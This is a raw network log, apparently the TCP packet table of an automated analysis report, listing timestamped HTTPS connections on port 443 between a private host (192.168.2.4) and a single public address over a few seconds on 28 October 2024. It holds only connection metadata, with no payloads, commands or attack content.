Oct 28, 2024 19:12:53.970973015 CET	443	59222	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.971040964 CET	59222	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:53.971117973 CET	443	59222	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.971152067 CET	443	59222	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.971220016 CET	59222	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:53.971283913 CET	59222	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:53.971283913 CET	59222	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:53.971335888 CET	443	59222	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.971358061 CET	443	59222	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.973768950 CET	59226	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:53.973820925 CET	443	59226	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.974548101 CET	59226	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:53.974647045 CET	59226	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:53.974672079 CET	443	59226	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.976268053 CET	443	59220	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.976424932 CET	443	59220	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.976528883 CET	59220	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:53.976528883 CET	59220	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:53.976531982 CET	443	59220	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.976579905 CET	443	59220	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.976762056 CET	59220	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:53.976779938 CET	443	59220	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.976811886 CET	59220	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:53.976816893 CET	443	59220	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.978580952 CET	59227	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:53.978600025 CET	443	59227	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.978687048 CET	59227	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:53.978904963 CET	59227	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:53.978925943 CET	443	59227	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.985107899 CET	443	59223	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.985127926 CET	443	59223	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.985266924 CET	443	59223	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.985292912 CET	59223	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:53.985518932 CET	59223	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:53.985572100 CET	59223	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:53.985572100 CET	59223	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:53.985580921 CET	443	59223	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.985589027 CET	443	59223	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.987382889 CET	59228	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:53.987427950 CET	443	59228	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:53.987585068 CET	59228	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:53.987585068 CET	59228	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:53.987629890 CET	443	59228	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:54.694633007 CET	443	59224	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:54.695166111 CET	59224	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:54.695224047 CET	443	59224	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:54.695640087 CET	59224	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:54.695653915 CET	443	59224	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:54.718275070 CET	443	59225	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:54.718625069 CET	59225	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:54.718643904 CET	443	59225	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:54.719110012 CET	59225	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:54.719116926 CET	443	59225	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:54.727648020 CET	443	59226	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:54.728339911 CET	59226	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:54.728339911 CET	59226	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:54.728355885 CET	443	59226	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:54.728373051 CET	443	59226	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:54.769625902 CET	443	59227	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:54.772572041 CET	59227	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:54.772584915 CET	443	59227	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:54.772994041 CET	59227	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:54.773000002 CET	443	59227	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:54.778997898 CET	443	59228	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:54.779349089 CET	59228	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:54.779375076 CET	443	59228	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:54.779716015 CET	59228	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:54.779721022 CET	443	59228	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:54.829335928 CET	443	59224	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:54.829521894 CET	443	59224	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:54.829596996 CET	59224	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:54.829629898 CET	443	59224	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:54.829655886 CET	443	59224	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:54.829711914 CET	59224	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:54.829742908 CET	59224	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:54.829762936 CET	443	59224	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:54.829776049 CET	59224	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:54.829782963 CET	443	59224	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:54.832520008 CET	59229	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:54.832557917 CET	443	59229	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:54.832736969 CET	59229	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:54.832894087 CET	59229	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:54.832906961 CET	443	59229	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:54.859150887 CET	443	59225	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:54.860337019 CET	443	59225	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:54.860449076 CET	59225	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:54.860495090 CET	59225	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:54.860511065 CET	443	59225	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:54.860523939 CET	59225	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:54.860532045 CET	443	59225	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:54.862725019 CET	59230	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:54.862766027 CET	443	59230	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:54.862845898 CET	59230	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:54.863025904 CET	59230	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:54.863040924 CET	443	59230	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:54.864159107 CET	443	59226	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:54.864227057 CET	443	59226	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:54.864284039 CET	59226	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:54.864310026 CET	443	59226	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:54.864339113 CET	443	59226	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:54.864406109 CET	59226	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:54.864489079 CET	59226	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:54.864505053 CET	443	59226	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:54.864521027 CET	59226	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:54.864526987 CET	443	59226	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:54.866410017 CET	59231	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:54.866436005 CET	443	59231	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:54.866693974 CET	59231	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:54.866836071 CET	59231	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:54.866847038 CET	443	59231	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:54.909954071 CET	443	59227	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:54.910023928 CET	443	59227	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:54.910147905 CET	59227	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:54.910172939 CET	59227	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:54.910191059 CET	443	59227	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:54.910204887 CET	59227	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:54.910211086 CET	443	59227	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:54.912431955 CET	59232	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:54.912475109 CET	443	59232	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:54.912554026 CET	59232	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:54.912678957 CET	59232	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:54.912695885 CET	443	59232	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:54.922516108 CET	443	59228	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:54.922563076 CET	443	59228	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:54.922606945 CET	443	59228	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:54.922657013 CET	59228	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:54.922692060 CET	59228	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:54.922708988 CET	443	59228	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:54.922720909 CET	59228	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:54.922727108 CET	443	59228	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:54.924666882 CET	59233	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:54.924693108 CET	443	59233	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:54.924870014 CET	59233	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:54.925029993 CET	59233	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:54.925040007 CET	443	59233	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:56.689893007 CET	443	59230	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:56.690287113 CET	443	59229	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:56.696261883 CET	443	59231	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:56.699129105 CET	59230	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:56.699157953 CET	443	59230	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:56.699758053 CET	59230	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:56.699763060 CET	443	59230	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:56.700088978 CET	59229	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:56.700105906 CET	443	59229	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:56.700568914 CET	59229	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:56.700573921 CET	443	59229	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:56.701092005 CET	59231	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:56.701097965 CET	443	59231	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:56.702013969 CET	59231	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:56.702018976 CET	443	59231	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:56.817148924 CET	443	59233	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:56.817970991 CET	59233	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:56.817989111 CET	443	59233	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:56.818584919 CET	59233	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:56.818593979 CET	443	59233	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:56.820111036 CET	443	59232	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:56.820561886 CET	59232	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:56.820611954 CET	443	59232	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:56.821324110 CET	59232	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:56.821336031 CET	443	59232	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:56.843297005 CET	443	59230	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:56.843334913 CET	443	59230	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:56.843386889 CET	443	59230	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:56.843518972 CET	59230	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:56.844058990 CET	443	59229	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:56.844615936 CET	443	59229	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:56.846091986 CET	59229	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:56.847002029 CET	59230	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:56.847028017 CET	443	59230	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:56.847039938 CET	59230	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:56.847044945 CET	443	59230	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:56.848917007 CET	59229	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:56.848932028 CET	443	59229	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:56.848942995 CET	59229	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:56.848948956 CET	443	59229	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:56.852515936 CET	443	59231	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:56.852740049 CET	443	59231	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:56.852875948 CET	59231	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:56.852999926 CET	59234	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:56.853055954 CET	443	59234	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:56.853209019 CET	59234	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:56.853560925 CET	59231	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:56.853569031 CET	443	59231	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:56.853576899 CET	59231	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:56.853579998 CET	443	59231	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:56.857589960 CET	59234	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:56.857620001 CET	443	59234	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:56.859524012 CET	59235	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:56.859563112 CET	443	59235	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:56.861007929 CET	59235	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:56.937824011 CET	59236	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:56.937907934 CET	443	59236	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:56.937980890 CET	59236	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:56.938290119 CET	59235	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:56.938328028 CET	443	59235	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:56.942502022 CET	59236	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:56.942540884 CET	443	59236	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:56.961755991 CET	443	59233	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:56.961827040 CET	443	59233	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:56.961921930 CET	59233	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:56.962301016 CET	59233	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:56.962318897 CET	443	59233	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:56.962332010 CET	59233	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:56.962338924 CET	443	59233	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:56.982178926 CET	443	59232	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:56.982253075 CET	443	59232	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:56.982342005 CET	59232	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:56.982358932 CET	443	59232	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:56.986978054 CET	59232	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:56.998873949 CET	59232	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:56.998902082 CET	443	59232	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:56.998919964 CET	59232	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:56.998929024 CET	443	59232	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:57.019249916 CET	59237	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:57.019282103 CET	443	59237	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:57.019359112 CET	59237	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:57.027640104 CET	59237	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:57.027659893 CET	443	59237	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:57.035661936 CET	59238	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:57.035706043 CET	443	59238	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:57.035763979 CET	59238	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:57.035893917 CET	59238	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:57.035912991 CET	443	59238	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:57.622770071 CET	443	59234	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:57.623274088 CET	59234	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:57.623307943 CET	443	59234	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:57.624021053 CET	59234	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:57.624027014 CET	443	59234	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:57.698447943 CET	443	59236	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:57.698993921 CET	59236	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:57.699034929 CET	443	59236	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:57.699604988 CET	59236	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:57.699611902 CET	443	59236	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:57.734045029 CET	443	59235	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:57.734719038 CET	59235	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:57.734744072 CET	443	59235	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:57.735302925 CET	59235	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:57.735327005 CET	443	59235	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:57.776443958 CET	443	59234	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:57.776519060 CET	443	59234	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:57.776583910 CET	59234	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:57.776894093 CET	59234	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:57.776916027 CET	443	59234	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:57.776933908 CET	59234	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:57.776942968 CET	443	59234	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:57.780807972 CET	59239	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:57.780838013 CET	443	59239	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:57.780900002 CET	59239	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:57.781083107 CET	59239	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:57.781090975 CET	443	59239	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:57.783435106 CET	443	59237	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:57.783812046 CET	59237	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:57.783821106 CET	443	59237	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:57.784286022 CET	59237	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:57.784288883 CET	443	59237	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:57.787096977 CET	443	59238	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:57.787394047 CET	59238	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:57.787411928 CET	443	59238	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:57.787766933 CET	59238	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:57.787772894 CET	443	59238	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:57.838565111 CET	443	59236	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:57.838646889 CET	443	59236	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:57.838706017 CET	59236	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:57.838974953 CET	59236	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:57.839003086 CET	443	59236	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:57.839019060 CET	59236	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:57.839025974 CET	443	59236	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:57.842369080 CET	59240	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:57.842427015 CET	443	59240	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:57.842681885 CET	59240	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:57.842818975 CET	59240	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:57.842839003 CET	443	59240	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:57.906501055 CET	443	59235	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:57.906615019 CET	443	59235	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:57.906742096 CET	443	59235	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:57.906827927 CET	59235	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:57.906873941 CET	59235	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:57.906873941 CET	59235	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:57.906891108 CET	443	59235	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:57.906903028 CET	443	59235	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:57.909809113 CET	59241	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:57.909845114 CET	443	59241	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:57.910353899 CET	59241	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:57.910500050 CET	59241	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:57.910516024 CET	443	59241	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:57.920550108 CET	443	59237	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:57.920708895 CET	443	59237	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:57.920775890 CET	59237	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:57.920846939 CET	59237	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:57.920846939 CET	59237	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:57.920859098 CET	443	59237	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:57.920866966 CET	443	59237	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:57.923419952 CET	59242	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:57.923460960 CET	443	59242	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:57.923593044 CET	59242	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:57.923733950 CET	59242	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:57.923751116 CET	443	59242	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:57.925476074 CET	443	59238	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:57.925509930 CET	443	59238	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:57.925551891 CET	443	59238	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:57.925561905 CET	59238	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:57.925590992 CET	59238	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:57.925651073 CET	59238	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:57.925672054 CET	443	59238	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:57.925685883 CET	59238	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:57.925693989 CET	443	59238	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:57.927705050 CET	59243	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:57.927736998 CET	443	59243	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:57.927850008 CET	59243	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:57.928015947 CET	59243	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:57.928029060 CET	443	59243	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:58.534657955 CET	443	59239	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:58.535347939 CET	59239	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:58.535378933 CET	443	59239	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:58.536083937 CET	59239	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:58.536087990 CET	443	59239	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:58.594228983 CET	443	59240	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:58.594926119 CET	59240	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:58.595006943 CET	443	59240	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:58.595283985 CET	59240	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:58.595299006 CET	443	59240	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:58.658154011 CET	443	59241	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:58.659872055 CET	59241	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:58.659890890 CET	443	59241	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:58.660389900 CET	59241	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:58.660397053 CET	443	59241	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:58.673368931 CET	443	59239	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:58.673501015 CET	443	59239	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:58.673702002 CET	59239	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:58.673767090 CET	59239	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:58.673779011 CET	443	59239	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:58.673794031 CET	59239	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:58.673798084 CET	443	59239	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:58.677628994 CET	59244	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:58.677678108 CET	443	59244	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:58.677925110 CET	59244	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:58.680165052 CET	59244	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:58.680181980 CET	443	59244	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:58.683656931 CET	443	59243	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:58.684850931 CET	443	59242	13.107.253.45	192.168.2.4
